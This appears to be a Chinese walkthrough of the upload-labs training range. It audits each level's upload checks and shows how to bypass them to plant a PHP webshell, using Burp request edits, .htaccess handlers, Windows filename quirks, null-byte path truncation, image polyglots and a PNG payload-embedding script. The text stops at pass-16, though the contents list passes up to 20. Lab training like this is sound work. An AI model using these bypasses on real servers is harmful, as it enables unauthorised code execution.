目錄
靶場準備
復現
pass-01
代碼審計
執行邏輯
文件上傳
方法一:直接修改或刪除js腳本
方法二:修改文件后綴
pass-02
代碼審計
文件上傳
1. 思路
2. 實操
pass-03
代碼審計
過程:
文件上傳
pass-04
代碼審計
文件上傳
pass-05
代碼審計
pass-06
代碼審計
文件上傳
pass-07
代碼審計
pass-08
代碼審計
pass-09
代碼審計
pass-10
代碼審計
文件上傳
pass-11
代碼審計
文件上傳
pass-12
代碼審計
文件上傳
pass-13
代碼審計
文件上傳
pass-14
代碼審計
pass-15
代碼審計
pass-16
代碼審計
文件上傳
gif
png
jpg
pass-17
代碼審計
文件上傳
1. 準備php文件
2. 上傳
pass-18
代碼審計
文件上傳
1. 準備圖片碼
2. Burp抓包
3. 在文件夾里查看
pass-19
代碼審計
文件上傳
1. 大小寫
2. 添加后綴
pass-20
代碼審計
文件上傳
1. 上傳
2. 抓包改包
3. 驗證
靶場準備
-
安裝
phpstudy
-
下載靶場:https://github.com/c0ny1/upload-labs
-
靶場解壓至
phpstudy
下的www
目錄 -
打開
phpstudy
,啟動apache
,版本不要太高 -
運行靶場的
phpstudy.exe
文件,顯示成功,就在瀏覽器訪問靶場
復現
pass-01
代碼審計
?function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("請選擇要上傳的文件!");return false;}//定義允許上傳的文件類型var allow_ext = ".jpg|.png|.gif";//提取上傳文件的類型var ext_name = file.substring(file.lastIndexOf("."));//判斷上傳文件類型是否允許上傳if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;alert(errMsg);return false;}}
執行邏輯
temp_file
記錄上傳文件的臨時名稱
img_path
是為上傳文件構造的新路徑用
move_uploaded_file
函數把文件移動到img_path
下通過
file.substring(file.lastIndexOf("."));
獲取文件的后綴和白名單的
3
種文件類型對比,判斷是否屬于其中的3
類。屬于則可以直接上傳,否則就上傳失敗
文件上傳
方法一:直接修改或刪除js腳本
-
打開
BurpSuit
,開啟抓包 -
先上傳一個符合要求的圖片
-
選中包,右鍵,選擇
Do intercept --> Response to this request
,之后放包 -
之后立馬就可以抓到另一個包,打開就可以看到響應部分,如下圖
-
之后,修改
.jpg|.png|.gif
的當中的任何一個為.php
,然后保存放包 -
然后進到靶場,上傳準備好的
webshell
,此時webshell
是可以成功上傳的,可以打開uploasd
文件夾看一下
-
訪問一下上傳的文件試一下
-
螞劍再驗證一下
都沒有問題
方法二:修改文件后綴
-
把編碼好的
webshell
的后綴修改為符合條件的后綴 -
打開
Burp
抓包 -
在靶場上傳
-
打開抓到的數據包,傳給
Repeter
模塊,然后把文件的后綴恢復,點擊send
就可以了
跟方法一差不多,這里就不做演示了,如果把方法一實踐一遍,那是完全可以實現方法二的。
pass-02
代碼審計
<?phpinclude '../config.php';include '../head.php';include '../menu.php';?$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; ? ? ? ? ?if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '文件類型不正確,請重新上傳!';}} else {$msg = UPLOAD_PATH.'文件夾不存在,請手工創建!';}}?>?<div id="upload_panel"><ol><li><h3>任務</h3><p>上傳一個<code>webshell</code>到服務器。</p></li><li><h3>上傳區</h3><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>請選擇要上傳的圖片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上傳"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div></li><?php if($_GET['action'] == "show_code"){include 'show_code.php';}?></ol></div>?<?phpinclude '../footer.php';?>
其他地方就不分析了,主要看這里
enctype="multipart/form-data"
這個設置表明
Content-Type
這個鍵的值是multipart/form-data
,而這個值的一大特點如下
將請求體分成多個部分(parts),每個部分可以包含不同的數據(如表單字段、文件內容等)。
每個部分都有自己的
Content-Type
和Content-Disposition
頭部,允許客戶端指定文件的類型和名稱。然后某些服務器可能只檢查請求頭中的
Content-Type
,而沒有深入解析multipart/form-data
的每個部分。例如,服務器可能只檢查請求頭中的
Content-Type: multipart/form-data
,而忽略每個部分的Content-Type
。利用這個邏輯漏洞,偽造文件類型:
在
multipart/form-data
的某個部分中偽造Content-Type
,將 PHP 文件的Content-Type
設置為image/jpeg
,從而繞過服務器的文件類型檢查。
文件上傳
1. 思路
直接在靶場上傳一個php
文件,然后使用Burp
抓包,把數據包發到Repeter
模塊,然后修改Content-Type
的類型為image/ipeg
(代碼審計得到的結果,自行審計),Send
之后就可以訪問文件或者使用蟻劍測試是否成功了
2. 實操
-
上傳
php
文件 -
抓包并改包
-
蟻劍連接測試
連接成功。
pass-03
這一關弄了一個黑名單,黑名單里面的后綴文件不允許上傳,其實跟前兩關沒啥區別。而且很簡單。
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空?if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; ? ? ? ? ? ?if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
過程:
先判斷文件是否存在,若存在,則獲取其文件名稱
通過
trim
函數去除其文件名稱多余的空白字符或者轉義字符。然后通過其自定義的
deldot
函數刪除其文件末尾的點,再通過
strrchr
函數獲取從文件名中最后一個.
符號開始的后面所有字符串(若上傳文件為xx.php
即可以獲取后綴.php
)然后通過
strtolower
函數將后綴名全部轉換為小寫,然后通過
str_ireplace
函數將后綴名中如果存在的::$DATA
符號刪去。然后使用
trim
函數對后綴進行去空格操作。通過
in_array
函數對比其后綴是否屬于$deny_ext
中的幾項,若不屬于,則繼續上傳
文件上傳
這一關特別簡單,方法很多,比如把.php
改為.php3
或者怎樣的,只要不是黑名單中的其中一個就成了。
所以就可以這樣做:
-
直接上傳
php
文件 -
使用
Burp
抓包 -
發給
Repeter
模塊,修改文件后綴為.php3
-
訪問測試:
pass-04
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空?if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
這一關跟上一關并無太大區別,無非就是黑名單多了一些,沒關系,我們利用.htaccess
文件就好。
.htaccess
文件可以簡單理解為一個提前預制的命令,在文件里面寫好要運行哪個文件,以什么形式執行, 那么上傳的那個文件就會按我們提前設置好的要求執行,即使是在下級目錄也可以。
文件上傳
首先是開啟.htaccess
功能。
找到phpstudy
下的apache
文件夾, 如
D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf
打開httpd.conf
文件,把AllowOverride
設置為ALL
然后構造.htaccess文件,編寫一下內容
?<FilesMatch "info.jpg">SetHandler application/x-httpd-php</FilesMatch>
然后先上傳./htaccess
文件(.htaccess
文件就叫這個名,不需要添加其他)
再上傳修改了文件后綴為.jpg
的php
文件,然后訪問
結果如上,成功上傳
pass-05
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空?if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
這里看著唬人,其實一個大小寫就繞過了,把.php
改為.PHP
就成功上傳了
沒啥技術含量就不說了,下一關
pass-06
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件不允許上傳';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
這一關有點意思,主要是它把.htaccess
過濾掉了,也就是說不能像pass-04
那樣處理了。但是卻有更好的處理辦法,這里就要引入windows
下文件系統的一些特性了。在windows
中,文件名屬于以下一種情況是會自動去掉末尾
-
文件名最后是
.
-
文件名最后有
空格
-
文件名最后有
::$DATA
那么,利用這個特性,就可以繞過過濾了。
文件上傳
首先打開Burp
準備抓包
然后直接上傳一個.php
文件
在Burp
里把包發給Repeter
模塊,在模塊里給文件添加以上說到的后綴,然后在upload
文件夾里驗證是否上傳成功
抓包修改如下:
再來看一看upload
文件夾
注意,這一關的代碼里有去.
和去::$DATA
的函數,所以不能通過這兩個繞過。
話雖這樣說,但是我這樣:$DATA
,也就繞過了嘛
pass-07
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
對比上一關的源碼就很清晰了,這一關就是要在文件末尾加.
以繞過,因為連去掉.
的函數都沒有了嘛
這一關的
上一關的
這就很簡單了,一樣的步驟,不演示了,下一關
pass-08
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
源碼里有去掉.
的,有去掉空格
的,所以這一關就是要使用::$DATA
繞過了,對比前兩關的代碼就可以看出來了
6、7、8
三關就是利用windows
文件系統的特性(而且還要求是黑名單)繞過的,很簡單,在pass-06
已經演示一種方法了,剩下的一樣的步驟,就不演示了。但是注意了這些方法在Linux
環境下大概率饒不了。
pass-09
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//刪除文件名末尾的點$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //轉換為小寫$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = '此文件類型不允許上傳!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
四個函數,deldot、strtolower、str_ireplace、trim
,把大小寫、Windows
文件系統特性都過濾了,怎么辦呢?
簡單啊,它不是先刪除.
,然后轉小寫,然后刪::$DATA
,然后去空格
嗎,那加一層碼嘍。
這樣構造
?mm.php.空格.這樣會先刪除 . ,文件就變成這樣 mm.php.空格,注意這里還有空格的;然后什么轉小寫啥的就不管了,之后去空格嘛,這樣文件就變成這樣了 mm.php.;然后沒有匹配黑名單啊,所以上傳嘛,然后又是Windows文件系統特性,把最后的 . 去掉,然后就成功上傳了嘛;
? ?如下圖所示:
pass-10
代碼審計
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");?$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; ? ? ? ?if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上傳出錯!';}} else {$msg = UPLOAD_PATH . '文件夾不存在,請手工創建!';}}
這個就更簡單了,利用str_ireplace
函數,把匹配黑名單的文件后綴置空嘛
那還是一樣嘛。加一層碼
?mm.phphpp
它又不調用兩次str_ireplace
函數,既然要過濾,那給它嘛,它把里面的php置空還有外層呢
文件上傳
先構造好文件
?mm.phphpp
然后直接上傳,再訪問驗證就好了
上傳:
驗證:
pass-11
這個題在實際應用中可能衍生一種競爭型的解法,但是需要多次嘗試,這里給出思路。
這是一個以
php
文件上傳的一個特性為基礎的思路。在php
中,上傳的文件會先到達temp
目錄下,然后使用move
函數移動到上傳文件夾下,再把臨時文件刪除。在移動臨時文件和刪除臨時文件這個間隙中間有一個很短很短的窗口期,那么假設它有一個讀文件的函數,比如?<? phpfile_get_contents($_GET['a'],'<?php'){include()}?>它先讀,如果匹配了
php
后綴,那就直接die
,如果不匹配,就include
。那么,如果先上傳一個無關緊要的文件,在它讀的過程中再上傳我們的木馬,讓木馬正好走到
file_get_contents
函數下,函數在讀無關緊要文件時沒有發現問題,就會include
,此時就會把我們的木馬一起include
,這樣就可以上傳webshell
。但是這個窗口期很短很短,所以可以預料的是即使成功了也是
n
次嘗試的。這個思路是解一個國際
CTF
比賽的思路,很值得思考借鑒。
代碼審計
?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;?if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上傳出錯!';}} else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";}}
雖然上面給出了一種競爭型的解法,但是實際上這一題不是競爭解法。這里它使用了白名單。
它會截取文件的后綴比對白名單,符合才會允許上傳。那也許有人說了,改后綴不就好了嗎,那不就可以上傳了嗎,是的,允許上傳,但是解析不了,相當于真的把
php
變成jpg
了,畢竟這不是前端繞過啊,前端繞過我們是上傳php
,然后Burp
抓包修改的,本質還是上傳.php
。那怎么辦呢?
其實這一題,用戶可以控制上傳文件最終落戶的目錄,我們可以抓一個包驗證一下
既然這樣,那我們就在這里動手腳,文件的拼接不是這樣嗎
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
如果我在sava_path
這里做一個截斷,把后面的內容都不要了,比如這樣
?../upload/web.php%00%00 是 URL編碼 的 \0 的十六進制,而 \0 是 C語言 的結束字符php底層也是C語言嘛
這樣截斷之后,move
函數在移動的時候,本來是要移動到upload
文件夾下,再重命名,但是現在沒有重命名這一步了,而且也不是放在文件夾下,而是直接放在文件里,相當于move
函數直接把我們上傳的文件的內容直接放到web.php
里面。這樣就上傳成功了。
來驗證一下
文件上傳
首先構造好jpg
文件,
?<?php phpinfo();
然后修改后綴為jpg
。
打開Burp
準備好抓包之后上傳jpg
文件
打開看一下文件內容
pass-12
代碼審計
$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;?if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳失敗";}} else {$msg = "只允許上傳.jpg|.png|.gif類型文件!";}}
這一關跟pass-11
一樣,就是save_path
的接收方式變了,pass-11
是get
型,這里變為了post
型,我們抓一個包看一下變化就知道了
原本在1
的位置,現在變到2
的位置了,需要在3
那里改。但是在這個位置改的話就不能使用%00
,因為這里不屬于地址欄,需要使用另一種方法。
文件上傳
先這樣構造:upload/web.php空格
然后點擊HEX
,找到對應位置,把20
改為00
保存好,然后返回Pretty
,點1
,進行查看,就會發現有\0
了
然后Send
就可以上傳成功了
pass-13
代碼審計
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只讀2字節fclose($file);$strInfo = @unpack("C2chars", $bin); ? ?$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); ? ?$fileType = ''; ? ?switch($typeCode){ ? ? ?case 255216: ? ? ? ? ? ?$fileType = 'jpg';break;case 13780: ? ? ? ? ? ?$fileType = 'png';break; ? ? ? ?case 7173: ? ? ? ? ? ?$fileType = 'gif';break;default: ? ? ? ? ? ?$fileType = 'unknown';} ? ?return $fileType;}?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);?if($file_type == 'unknown'){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}}
審計代碼,發現這一關會對圖片內容進行檢測。也就是說,把php
后綴修改為jpg
之類的已經不能上傳了。但是呢它對內容的檢測又不完善,所以一種思路就是把payload
插入到圖片中去。
文件上傳
這在windows
環境下就需要使用以下命令了
copy 文件A全稱 /b + 文件B /a 新文件名
這樣就能得到一個包含php payload
的png
文件,然后還要驗證,首先是查看圖片是否可以打開,不過不行那就換圖片再插入,一定要保證圖片可以打開。確保圖片可以打開之后,使用記事本打開,找一下插入的paylod
在不在
也可以使用專業的工具010Editor
查看。
這些保證沒有問題之后就可以上傳了,不過即使上傳成功了,也不一定能執行,因為有可能圖片有問題。這時候之只能換圖片不斷嘗試了
pass-14
代碼審計
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}}?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}}
跟pass-13
一樣,就是加了一些判斷圖片后綴和大小的代碼,對于這一關而言,沒有什么太大的作用,按照pass-13
的方法,多試幾遍就能成功了
pass-15
代碼審計
?function isImage($filename){//需要開啟php_exif模塊$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; ? ?default:return false;break;}}?$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上傳失敗!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上傳出錯!";}}}
跟pass-13、pass-14
一樣的,把php
的payload
插入到圖片中,然后檢查沒有問題之后就一直嘗試,直到成功為止,思路是沒有問題的,就是需要一直試,一遍不行就多來幾遍。
pass-16
代碼審計
?$is_upload = false;$msg = null;if (isset($_POST['submit'])){// 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];?$target_path=UPLOAD_PATH.'/'.basename($filename);?// 獲得上傳文件的擴展名$fileext= substr(strrchr($filename,"."),1);?//判斷文件后綴與類型,合法才進行上傳操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefromjpeg($target_path);?if($im == false){$msg = "該文件不是jpg格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上傳出錯!";}?}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefrompng($target_path);?if($im == false){$msg = "該文件不是png格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".png";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);?@unlink($target_path);$is_upload = true; ? ? ? ? ? ? ? }} else {$msg = "上傳出錯!";}?}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上傳的圖片生成新的圖片$im = imagecreatefromgif($target_path);if($im == false){$msg = "該文件不是gif格式的圖片!";@unlink($target_path);}else{//給新圖片指定文件名srand(time());$newfilename = strval(rand()).".gif";//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);?@unlink($target_path);$is_upload = true;}} else {$msg = "上傳出錯!";}}else{$msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件!";}}
這一關的亮點在于使用
imagecreatefromgif
函數,把我們上傳的圖片打亂,然后生成新的圖片,但是人肉眼看起來沒有變化。這樣一來,我們插入的
payload
就有可能被打亂,導致webshell
上傳失敗。這也是防御圖片碼的一種方法,但最好的方法是沒有文件包含這個漏洞。
我們可以看一下是否屬實嘛
原來的圖片碼:
上傳后的圖片碼:
那怎么辦呢?
想一下,有沒有可能,這三種格式的圖片會有一部分區域,這個區域在整個圖片打亂前和打亂后是不變的,如果有,那我們把payload
插入到這塊區域就能利用文件包含漏洞把webshell
上傳成功。
文件上傳
gif
先上傳一張正常的圖片,然后下載下來,打開以一些專業的16進制查看工具,比如010editor
,找到那個前后都沒有被打亂的地方,把payload
插入那個位置,然后再上傳插入好payload
的圖片,之后使用文件包含驗證即可
這個思路沒有問題,問題是運氣成分太大,如果你運氣好,剛好拿到的圖片問題不大,那一下就好了,如果運氣不好,那你可能試了十幾張圖片依然沒結果,但是沒辦法,就是要一直試。
png
png
圖片插入payload
比gif
復雜一點,因為png
圖片是由固定數據塊組成的,如果不能區分清楚的話很有可能導致上傳是報錯。
對與插入payload
,由以下兩種方法
一、在PLTE數據塊插入
這種方法有些別扭,因為需要保證圖片是索引顏色類型,也就是說如果文件使用真彩色或灰度,可能沒有PLTE
塊。所以這里只提出來,就不演示了
二、使用腳本
腳本編碼:
?<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);???$img = imagecreatetruecolor(32, 32);?for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);}?imagepng($img,'./1.png');?>
這是php
腳本,保存好之后,在瀏覽器運行,就能得到一插入好payload
的png
圖片
然后上傳,再用蟻劍連接測試一下就好
jpg
jpg
差不多,也是用腳本
腳本代碼:
